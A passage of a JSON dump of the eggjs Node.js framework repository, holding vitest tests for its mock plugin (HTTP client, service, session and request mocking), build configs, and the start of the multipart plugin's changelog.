'post', 'mock url post');\n\n    await request(server)\n      .get('/urllib')\n      .query({ data: JSON.stringify({ a: 'b' }) })\n      .expect({\n        get: `mock ${url}?a=b with /mock_url?a=b`,\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should mock fn with multi-request without error', async () => {\n    app.mockCsrf();\n    let i = 0;\n    app.mockHttpclient(url, 'post', (a, b) => {\n      assert(a);\n      assert(b);\n      i++;\n      return { data: 'mock url post' };\n    });\n\n    await request(server).get('/urllib').expect(200);\n    await request(server).get('/urllib').expect(200);\n    await request(server).get('/urllib').expect(200);\n    assert(i === 3);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_request.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_request.test.ts', () => {\n  describe('app mode', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('request'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should test app with request', async () => {\n      await app.httpRequest().get('/').expect(200).expect('hello world');\n    });\n\n    it('should test app with request on pathFor', async () => {\n      await app.httpRequest().get('home').expect(200).expect('hello world');\n    });\n\n    it('should GET session path work', async () => {\n      await app.httpRequest().get('session').expect(200).expect('hello session');\n    });\n\n    it('should GET wrong pathFor name throw error', async () => {\n      try {\n        await app.httpRequest().get('session-404').expect(200).expect('hello world');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err);\n        assert(err.message === \"Can't find router:session-404, please check your 'app/router.js'\");\n      }\n    });\n\n    it('should test with expectHeader(header) and unexpectHeader(header)', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200)\n        .expect('hello world')\n        .expectHeader('set-cookie')\n        .unexpectHeader('cache-control');\n    });\n\n    it('should test with expectHeader(header) and unexpectHeader(header) throw error', async () => {\n      try {\n        await app.httpRequest().get('/').expect(200).expect('hello world').expectHeader('set-cookie1');\n      } catch (err: any) {\n        assert(err.message === 'expected \"set-cookie1\" header field');\n      }\n\n      try {\n        await app.httpRequest().get('/').expect(200).expect('hello world').unexpectHeader('set-cookie');\n      } catch (err: any) {\n        assert(err.message.startsWith('unexpected \"set-cookie\" header field, got \"'));\n      }\n    });\n\n    it('should test with expectHeader(header, done)', async () => {\n      await app.httpRequest().get('/').expectHeader('set-cookie');\n    });\n\n    it('should test with unexpectHeader(header, done)', async () => {\n      await app.httpRequest().get('/').unexpectHeader('cache-control');\n    });\n  });\n\n  // TODO: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')('cluster mode', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.cluster({\n        baseDir: getFixtures('request'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should test app with request', async () => {\n      await app.httpRequest().get('/').expect(200).expect('hello world');\n    });\n\n    it('should test app with request on pathFor', async () => {\n      await app.httpRequest().get('home').expect(200).expect('hello world');\n    });\n\n    it('should GET session path work', async () => {\n      await app.httpRequest().get('session').expect(200).expect('hello session');\n    });\n\n    it('should GET wrong pathFor name throw error', async () => {\n      try {\n        await app.httpRequest().get('session-404').expect(200).expect('hello world');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err);\n        assert(err.message === \"Can't find router:session-404, please check your 'app/router.js'\");\n      }\n    });\n\n    it('should test with expectHeader(header) and unexpectHeader(header)', async () => {\n      return app\n        .httpRequest()\n        .get('/')\n        .expect(200)\n        .expect('hello world')\n        .expectHeader('set-cookie')\n        .unexpectHeader('cache-control');\n    });\n\n    it('should test with expectHeader(header) and unexpectHeader(header) throw error', async () => {\n      try {\n        await app.httpRequest().get('/').expect(200).expect('hello world').expectHeader('set-cookie1');\n      } catch (err: any) {\n        assert(err.message === 'expected \"set-cookie1\" header field');\n      }\n\n      try {\n        await app.httpRequest().get('/').expect(200).expect('hello world').unexpectHeader('set-cookie');\n      } catch (err: any) {\n        assert(err.message.startsWith('unexpected \"set-cookie\" header field, got \"'));\n      }\n    });\n\n    it('should test with expectHeader(header, done)', async () => {\n      await app.httpRequest().get('/').expectHeader('set-cookie');\n    });\n\n    it('should test with unexpectHeader(header, done)', async () => {\n      await app.httpRequest().get('/').unexpectHeader('cache-control');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_service.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_service.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should return from service', async () => {\n    await app.httpRequest().get('/service').expect({\n      foo1: 'bar',\n      foo2: 'bar',\n      foo3: 'bar',\n      thirdService: 'third',\n    });\n  });\n\n  it('should return from service when mock with data', async () => {\n    app.mockService('foo', 'get', 'foo');\n    app.mockService('foo', 'getSync', 'foo');\n    app.mockService('bar.foo', 'get', 'foo');\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'foo',\n      foo3: 'foo',\n      thirdService: 'third',\n    });\n  });\n\n  it('mock repeat success', async () => {\n    app.mockService('foo', 'get', 'foo');\n    app.mockService('foo', 'get', 'foo');\n    app.mockService('foo', 'getSync', 'foo');\n    app.mockService('foo', 'getSync', 'foo');\n    app.mockService('bar.foo', 'get', 'foo');\n    app.mockService('bar.foo', 'get', 'foo');\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'foo',\n      foo3: 'foo',\n      thirdService: 'third',\n    });\n  });\n\n  it.skip('mock error success', async () => {\n    app.mockService('foo', 'get', new Error('async error'));\n    try {\n      const ctx = app.mockContext();\n      await ctx.service.foo.get();\n      throw new Error('should not execute');\n    } catch (err: any) {\n      assert(err.message === 'async error');\n    }\n  });\n\n  it.skip('mock sync error success', async () => {\n    app.mockService('foo', 'getSync', new Error('sync error'));\n    try {\n      const ctx = app.mockContext();\n      await ctx.service.foo.getSync();\n      throw new Error('should not execute');\n    } catch (err: any) {\n      assert(err.message === 'sync error');\n    }\n  });\n\n  it('should return from service when mock with normal function', async () => {\n    app.mockService('foo', 'get', () => 'foo');\n    app.mockService('foo', 'getSync', () => 'foo');\n    app.mockService('bar.foo', 'get', () => 'foo');\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'foo',\n      foo3: 'foo',\n      thirdService: 'third',\n    });\n  });\n\n  it('should support old service format', async () => {\n    app.mockService('old', 'test', 'test');\n    await app.httpRequest().get('/service/old').expect('test');\n  });\n\n  it('should throw', () => {\n    assert.throws(() => {\n      app.mockService('foo', 'not_exist', 'foo');\n    }, /property not_exist in original object must be function/);\n  });\n\n  it('should return from service when mock with generator', async () => {\n    app.mockService('foo', 'get', async () => {\n      return 'foo';\n    });\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'bar',\n      foo3: 'bar',\n      thirdService: 'third',\n    });\n  });\n\n  it('should return from service when mock with 3 level', async () => {\n    app.mockService('foo', 'get', '1 level service');\n    app.mockService('bar.foo', 'get', '2 level service');\n    app.mockService('third.bar.foo', 'get', '3 level service');\n    await app.httpRequest().get('/service').expect({\n      foo1: '1 level service',\n      foo2: '2 level service',\n      foo3: 'bar',\n      thirdService: '3 level service',\n    });\n  });\n\n  it('should return from service when mock with error', async () => {\n    app.mockService('foo', 'get', async () => {\n      throw new Error('mock service foo.get error');\n    });\n    await app\n      .httpRequest()\n      .get('/service')\n      .expect(/mock service foo\\.get error/)\n      .expect(500);\n  });\n\n  describe('app.mockServiceError()', () => {\n    it('should default mock error', async () => {\n      app.mockServiceError('foo', 'get');\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock get error/)\n        .expect(500);\n    });\n\n    it('should create custom mock error with string', async () => {\n      app.mockServiceError('foo', 'get', 'mock service foo.get error1');\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock service foo\\.get error1/)\n        .expect(500);\n    });\n\n    it('should return custom mock error', async () => {\n      app.mockServiceError('foo', 'get', new Error('mock service foo.get error2'));\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock service foo\\.get error2/)\n        .expect(500);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_service_async.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_service_async.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('demo-async'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should return from service', async () => {\n    await app.httpRequest().get('/service').expect({\n      foo1: 'bar',\n      foo2: 'bar',\n      foo3: 'bar',\n      thirdService: 'third',\n    });\n  });\n\n  it('should return from service when mock with data', async () => {\n    app.mockService('foo', 'get', 'foo');\n    app.mockService('foo', 'getSync', 'foo');\n    app.mockService('bar.foo', 'get', 'foo');\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'foo',\n      foo3: 'foo',\n      thirdService: 'third',\n    });\n  });\n\n  it('should return from service when mock with normal function', async () => {\n    app.mockService('foo', 'get', () => 'foo');\n    app.mockService('foo', 'getSync', () => 'foo');\n    app.mockService('bar.foo', 'get', () => 'foo');\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'foo',\n      foo3: 'foo',\n      thirdService: 'third',\n    });\n  });\n\n  it('should throw', async () => {\n    assert.throws(() => {\n      app.mockService('foo', 'not_exist', 'foo');\n    }, /property not_exist in original object must be function/);\n  });\n\n  it('should return from service when mock with generator', async () => {\n    app.mockService('foo', 'get', async () => {\n      return 'foo';\n    });\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'bar',\n      foo3: 'bar',\n      thirdService: 'third',\n    });\n  });\n\n  it('should return from service when mock with 3 level', async () => {\n    app.mockService('foo', 'get', '1 level service');\n    app.mockService('bar.foo', 'get', '2 level service');\n    app.mockService('third.bar.foo', 'get', '3 level service');\n    await app.httpRequest().get('/service').expect({\n      foo1: '1 level service',\n      foo2: '2 level service',\n      foo3: 'bar',\n      thirdService: '3 level service',\n    });\n  });\n\n  it('should return from service when mock with error', async () => {\n    app.mockService('foo', 'get', async () => {\n      throw new Error('mock service foo.get error');\n    });\n    await app\n      .httpRequest()\n      .get('/service')\n      .expect(/mock service foo\\.get error/)\n      .expect(500);\n  });\n\n  describe('app.mockServiceError()', () => {\n    it('should default mock error', async () => {\n      app.mockServiceError('foo', 'get');\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock get error/)\n        .expect(500);\n    });\n\n    it('should create custom mock error with string', async () => {\n      app.mockServiceError('foo', 'get', 'mock service foo.get error1');\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock service foo\\.get error1/)\n        .expect(500);\n    });\n\n    it('should return custom mock error', async () => {\n      app.mockServiceError('foo', 'get', new Error('mock service foo.get error2'));\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock service foo\\.get error2/)\n        .expect(500);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_service_cluster.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_service_cluster.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('demo_mock_service_cluster'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should return from service', async () => {\n    await app.httpRequest().get('/service').expect({\n      foo1: 'bar',\n      foo2: 'bar',\n      foo3: 'bar',\n      thirdService: 'third',\n    });\n  });\n\n  it('should return from service when mock with data', async () => {\n    app.mockService('foo', 'get', 'foo');\n    app.mockService('foo', 'getSync', 'foo');\n    app.mockService('bar.foo', 'get', 'foo');\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'foo',\n      foo3: 'foo',\n      thirdService: 'third',\n    });\n  });\n\n  it('should support old service format', async () => {\n    app.mockService('old', 'test', 'test');\n    await app.httpRequest().get('/service/old').expect('test');\n  });\n\n  it('should throw not exists service error', () => {\n    assert.throws(() => {\n      app.mockService('foo', 'not_exist', 'foo');\n    }, /property not_exist in original object must be function/);\n  });\n\n  it('should return from service when mock with generator', async () => {\n    app.mockService('foo', 'get', async () => {\n      return 'foo';\n    });\n    await app.httpRequest().get('/service').expect({\n      foo1: 'foo',\n      foo2: 'bar',\n      foo3: 'bar',\n      thirdService: 'third',\n    });\n  });\n\n  it.skip('should return from service when mock with 3 level', async () => {\n    app.mockService('foo', 'get', '1 level service');\n    app.mockService('bar.foo', 'get', '2 level service');\n    app.mockService('third.bar.foo', 'get', '3 level service');\n    await app.httpRequest().get('/service').expect({\n      foo1: '1 level service',\n      foo2: '2 level service',\n      foo3: 'bar',\n      thirdService: '3 level service',\n    });\n  });\n\n  it('should return from service when mock with error', async () => {\n    app.mockService('foo', 'get', async () => {\n      throw new Error('mock service foo.get error');\n    });\n    await app\n      .httpRequest()\n      .get('/service')\n      .expect(/mock service foo\\.get error/)\n      .expect(500);\n  });\n\n  describe('app.mockServiceError()', () => {\n    it('should default mock error', async () => {\n      app.mockServiceError('foo', 'get');\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock get error/)\n        .expect(500);\n    });\n\n    it('should create custom mock error with string', async () => {\n      app.mockServiceError('foo', 'get', 'mock service foo.get error1');\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock service foo\\.get error1/)\n        .expect(500);\n    });\n\n    it('should return custom mock error', async () => {\n      const err = new Error('mock service foo.get error2');\n      (err as any).foo = 'bar';\n      app.mockServiceError('foo', 'get', err);\n      await app\n        .httpRequest()\n        .get('/service')\n        .expect(/mock service foo\\.get error2/)\n        .expect(500);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_session.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_session.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('single process mode', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('demo'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should mock session', async () => {\n      const obj = {\n        user: {\n          foo: 'bar',\n        },\n        hello: 'egg mock session data',\n      };\n\n      // const ctx = app.mockContext();\n      app.mockSession(obj);\n      // assert.deepEqual(ctx.session, obj);\n\n      await app\n        .httpRequest()\n        .get('/session')\n        .expect({\n          user: {\n            foo: 'bar',\n          },\n          hello: 'egg mock session data',\n        });\n    });\n\n    it('should support mock session with plain type', async () => {\n      const ctx = app.mockContext();\n      (app as any).mockSession();\n      app.mockSession('123');\n      assert(ctx.session);\n      assert(!(ctx as any).session.save);\n      assert.equal(ctx.session, '123');\n    });\n\n    it('should mock restore', async () => {\n      await app.httpRequest().get('/session').expect({});\n    });\n  });\n\n  describe('cluster process mode', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.cluster({\n        baseDir: getFixtures('demo'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should mock session', async () => {\n      app.mockSession({\n        user: {\n          foo: 'bar',\n        },\n        hello: 'egg mock session data',\n      });\n      await app\n        .httpRequest()\n        .get('/session')\n        .expect({\n          user: {\n            foo: 'bar',\n          },\n          hello: 'egg mock session data',\n        });\n    });\n\n    it('should mock restore', async () => {\n      await app.httpRequest().get('/session').expect({});\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/parallel.test.ts",
    "content": "import { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { getFixtures } from './helper.js';\n\n// TBD: This test case is not working as expected. Need to investigate.\ndescribe.skip('test/parallel.test.ts', () => {\n  beforeAll(async () => {\n    const { mochaGlobalSetup } = await import('../src/register.js');\n    await mochaGlobalSetup();\n    process.env.ENABLE_MOCHA_PARAELLEL = 'true';\n    process.env.AUTO_AGENT = 'true';\n    process.env.EGG_BASE_DIR = getFixtures('apps/foo');\n  });\n\n  afterAll(async () => {\n    const { mochaGlobalTeardown } = await import('../src/register.js');\n    await mochaGlobalTeardown();\n    delete process.env.ENABLE_MOCHA_PARAELLEL;\n    delete process.env.AUTO_AGENT;\n    delete process.env.EGG_BASE_DIR;\n  });\n\n  it('should work', async () => {\n    const { getBootstrapApp } = await import('../src/bootstrap.js');\n    const app = getBootstrapApp();\n    await app.ready();\n    await app.httpRequest().get('/').expect(200).expect('foo');\n    await app.close();\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/parallel_hook.test.ts",
    "content": "import { importResolve } from '@eggjs/utils';\nimport coffee from 'coffee';\nimport { describe, it, afterAll } from 'vitest';\n\nimport mm from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\n// TBD: This test case is not working as expected. Need to investigate.\ndescribe.skip('test/bootstrap-plugin.test.ts', () => {\n  afterAll(() => mm.restore());\n\n  it('should throw', async () => {\n    return (\n      coffee\n        .fork(\n          importResolve('mocha/bin/mocha'),\n          ['-r', getFixtures('../lib/parallel/agent_register'), '--parallel', '--jobs', '2', '--exit'],\n          {\n            cwd: getFixtures('apps/parallel-test'),\n          },\n        )\n        // .debug()\n        .expect('code', 0)\n        .expect('stdout', /3 passing/)\n        .end()\n    );\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/setup_vitest.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, afterEach } from 'vitest';\n\nimport mm from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/setup_vitest.test.ts', () => {\n  afterEach(mm.restore);\n\n  it('should fail fast with cached startupPromise vs old pattern', async () => {\n    const FILE_COUNT = 10;\n    const baseDir = getFixtures('app-fail');\n\n    // --- Old pattern ---\n    // Old setup_vitest.ts: each beforeAll creates a new `await app.ready()` call.\n    // Old app_handler.ts (with globals: true) also registered a duplicate\n    // `beforeAll(() => app.ready())` + two afterEach hooks.\n    // Per file: 2x beforeAll + 2x afterEach = 4 hook executions.\n    const oldApp = mm.app({ baseDir, cache: false });\n    const oldDurations: number[] = [];\n\n    for (let i = 0; i < FILE_COUNT; i++) {\n      const start = Date.now();\n      // setup_vitest.ts beforeAll: await app.ready()\n      try {\n        await oldApp.ready();\n      } catch {\n        /* expected */\n      }\n      // app_handler.ts duplicate beforeAll: app.ready()\n      try {\n        await oldApp.ready();\n      } catch {\n        /* expected */\n      }\n      // app_handler.ts afterEach: app.backgroundTasksFinished()\n      try {\n        await (oldApp as any).backgroundTasksFinished?.();\n      } catch {\n        /* expected */\n      }\n      // app_handler.ts afterEach: restore()\n      try {\n        await mm.restore();\n      } catch {\n        /* expected */\n      }\n      oldDurations.push(Date.now() - start);\n    }\n    await oldApp.close();\n\n    // --- New pattern ---\n    // Single cached startupPromise, no duplicate hooks.\n    // Per file: 1x await startupPromise (instant if cached).\n    const newApp = mm.app({ baseDir, cache: false });\n    const newDurations: number[] = [];\n\n    let startupPromise: Promise<void> | undefined;\n    for (let i = 0; i < FILE_COUNT; i++) {\n      const start = Date.now();\n      if (!startupPromise) {\n        startupPromise = (async () => {\n          await newApp.ready();\n        })();\n        startupPromise.catch(() => {});\n      }\n      try {\n        await startupPromise;\n      } catch {\n        /* expected */\n      }\n      newDurations.push(Date.now() - start);\n    }\n    await newApp.close();\n\n    const oldTotal = oldDurations.reduce((a, b) => a + b, 0);\n    const newTotal = newDurations.reduce((a, b) => a + b, 0);\n\n    console.log(`Old pattern (${FILE_COUNT} files, 2x ready + 2x afterEach each):`);\n    console.log(`  durations: [${oldDurations.join(', ')}]ms, total=${oldTotal}ms`);\n    console.log(`New pattern (${FILE_COUNT} files, cached promise):`);\n    console.log(`  durations: [${newDurations.join(', ')}]ms, total=${newTotal}ms`);\n\n    // New pattern: files after the first should be 0ms\n    for (let i = 1; i < FILE_COUNT; i++) {\n      assert(newDurations[i] < 50, `new pattern file ${i + 1} should be instant, got ${newDurations[i]}ms`);\n    }\n  });\n\n  it('should not re-attempt startup when startupPromise is cached', async () => {\n    let initCount = 0;\n    const baseDir = getFixtures('app-fail');\n\n    let startupPromise: Promise<void> | undefined;\n\n    // Simulate the setup_vitest.ts beforeAll pattern for 3 test files\n    for (let i = 0; i < 3; i++) {\n      if (!startupPromise) {\n        initCount++;\n        const app = mm.app({ baseDir, cache: false });\n        startupPromise = (async () => {\n          await app.ready();\n        })();\n        startupPromise.catch(() => {});\n      }\n\n      try {\n        await startupPromise;\n      } catch {\n        // expected\n      }\n    }\n\n    // Should only have attempted startup once\n    assert.equal(initCount, 1, 'should only attempt startup once, not once per test file');\n  });\n});\n"
  },
  {
    "path": "plugins/mock/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/**/*.ts\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "plugins/mock/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  external: ['mocha'],\n});\n"
  },
  {
    "path": "plugins/mock/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({\n  test: {\n    include: ['test/**/*.test.ts'],\n    exclude: ['test/fixtures/**', '**/node_modules/**', '**/dist/**'],\n    testTimeout: 15000,\n    hookTimeout: 20000,\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/multipart/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\ntest/fixtures/**/run\n.idea/\n.nyc_output/\n.DS_Store\n*-lock.json\n*-lock.yaml\ntest/fixtures/apps/ts/tsconfig.tsbuildinfo\ntest/fixtures/apps/ts/**/*.d.ts\n.tshy*\n.eslintcache\ndist\n"
  },
  {
    "path": "plugins/multipart/CHANGELOG.md",
    "content": "# Changelog\n\n>[!IMPORTANT]\n>Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n---\n\n## [4.0.0](https://github.com/eggjs/multipart/compare/v3.5.0...v4.0.0) (2025-02-03)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **New Features**\n  - Introduced a new middleware for handling multipart requests.\n  - Added improved error handling for oversized file uploads.\n\n- **Refactor**\n- Streamlined configuration and context enhancements for better\nstability and TypeScript support.\n- Modernized the codebase by transitioning to ES modules and updating\ntype definitions.\n\n- **Chores**\n- Updated package metadata, dependencies, and continuous integration\nsettings to support newer Node.js versions.\n- Introduced a new TypeScript configuration for stricter type-checking.\n\n- **Tests**\n- Added unit tests to validate application behavior under incorrect\nconfigurations.\n- Established comprehensive tests for multipart form handling to ensure\ncorrect processing of file uploads.\n- Transitioned existing tests to TypeScript and updated assertions for\nconsistency.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#67](https://github.com/eggjs/multipart/issues/67)) ([ccefb3e](https://github.com/eggjs/multipart/commit/ccefb3ebe89e5a061adb7d8235bd8670a57d7411))\n\n## [3.5.0](https://github.com/eggjs/egg-multipart/compare/v3.4.0...v3.5.0) (2025-01-22)\n\n\n### Features\n\n* support custom pathToRegexpModule ([#66](https://github.com/eggjs/egg-multipart/issues/66)) ([d474eec](https://github.com/eggjs/egg-multipart/commit/d474eecf1f86115bfb9750f1856a4d87ec542109))\n\n## [3.4.0](https://github.com/eggjs/egg-multipart/compare/v3.3.0...v3.4.0) (2024-06-07)\n\n\n### Features\n\n* remove unuse \"stream-wormhole\" deps ([#63](https://github.com/eggjs/egg-multipart/issues/63)) ([f61d60f](https://github.com/eggjs/egg-multipart/commit/f61d60fba2c9290542acabe9f7dca0f201635e61))\n\n## [3.3.0](https://github.com/eggjs/egg-multipart/compare/v3.2.0...v3.3.0) (2022-12-18)\n\n\n### Features\n\n* drop uuid dependency ([#62](https://github.com/eggjs/egg-multipart/issues/62)) ([b8bb895](https://github.com/eggjs/egg-multipart/commit/b8bb895acec33f4b1476ad35a06718529d6ad067))\n\n---\n\n\n3.2.0 / 2022-09-29\n==================\n\n**features**\n  * [[`b007d99`](http://github.com/eggjs/egg-multipart/commit/b007d9938939e93732cdee168987c02cf6458e86)] - feat: use PassThrough instead of Writable (#60) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`ca9efc1`](http://github.com/eggjs/egg-multipart/commit/ca9efc1d3faeb332b48de8320a6b9df31936bb42)] - feat: support `for await...of` (#57) (TZ | 天猪 <<atian25@qq.com>>)\n\n**others**\n  * [[`e9bba31`](http://github.com/eggjs/egg-multipart/commit/e9bba31d051cd14d0ad02c3d5297991f82d6fa1c)] - refactor: saveRequestFiles with for-await-for (#58) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.1.0 / 2022-09-27\n==================\n\n**others**\n  * [[`399c6cb`](http://github.com/eggjs/egg-multipart/commit/399c6cb8c685337c3a9bcab00191e8e4a018f25f)] - 🐛 feat: refactor multipart options normalize && fix defParamCharset default to utf8 (#56) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`69ba7c0`](http://github.com/eggjs/egg-multipart/commit/69ba7c0c91321866f4f3cdab06d66081cae3796a)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`cc93417`](http://github.com/eggjs/egg-multipart/commit/cc93417af059788ff54d6af56816991e1e0d8b6a)] - test: fix ci (#55) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.0.0 / 2022-09-21\n==================\n\n**others**\n  * [[`a488127`](http://github.com/eggjs/egg-multipart/commit/a488127dc399eda2542a39b268f04f78569a3be1)] - refactor: [BREAKING_CHANGE] update deps co-busbox && node>=14.x (#54) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.13.1 / 2021-07-21\n==================\n\n**fixes**\n  * [[`20e765e`](http://github.com/eggjs/egg-multipart/commit/20e765ee2b121bbd1b3ba8853397990a67f7b76b)] - fix: add autoFields dts (#53) (恒遥 <<zhangyao318@gmail.com>>)\n\n2.13.0 / 2021-07-05\n==================\n\n**others**\n  * [[`013ba19`](http://github.com/eggjs/egg-multipart/commit/013ba1939e5eeefa605e3b444d45d2513f90a875)] - deps: upgrade globby to the latest version for install warning (sky <<hubcarl@126.com>>)\n  * [[`7e07b3b`](http://github.com/eggjs/egg-multipart/commit/7e07b3b7ec586b95f6ada9ac11ae5a778b2e73e3)] - chore: remove badges (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`3fdc940`](http://github.com/eggjs/egg-multipart/commit/3fdc94025713f92e2be6d7e628b834d4bb8fbe5a)] - test: add limit fileSize per-request test cases (#51) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.12.0 / 2021-05-22\n==================\n\n**features**\n  * [[`ebd22fb`](http://github.com/eggjs/egg-multipart/commit/ebd22fb62e16f6bc6b785d28a5e19bb3e7915170)] - feat: deleting the temporary directory is optional (#48) (cd-xulei <<chengduxulei@foxmail.com>>)\n\n2.11.1 / 2021-05-18\n==================\n\n**fixes**\n  * [[`73ea7f2`](http://github.com/eggjs/egg-multipart/commit/73ea7f205408b99146fa784b851001314119413b)] - fix: fix array filed value (#50) (killa <<killa123@126.com>>)\n\n2.11.0 / 2021-05-17\n==================\n\n**features**\n  * [[`a73c8e6`](http://github.com/eggjs/egg-multipart/commit/a73c8e66a03babac76e924cc23b14aa114e08ea2)] - feat: allow array fileds in file mode (#49) (killa <<killa123@126.com>>)\n\n2.10.3 / 2020-05-06\n==================\n\n**fixes**\n  * [[`718df0e`](http://github.com/eggjs/egg-multipart/commit/718df0e85455746e6126c6de8180b427e798d217)] - fix: incorrect file size limit (#44) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n2.10.2 / 2020-03-30\n==================\n\n**fixes**\n  * [[`ce33219`](http://github.com/eggjs/egg-multipart/commit/ce33219f008e390a7321a8dfb52e887ca2d6aa71)] - fix: definition of config.whitelist (#43) (cjf <<cjfff1996@gmail.com>>)\n\n**others**\n  * [[`94c1135`](http://github.com/eggjs/egg-multipart/commit/94c1135f49dfbcea3a39d59b1b5e2b0a351d217a)] - docs: fix error handler example (#42) (zeroslope <<10218146+zeroslope@users.noreply.github.com>>)\n\n2.10.1 / 2019-12-16\n==================\n\n**fixes**\n  * [[`3451864`](http://github.com/eggjs/egg-multipart/commit/34518642562b8712040220090ee5828583a2fdcf)] - fix: support extname not speicified (#40) (刘涛 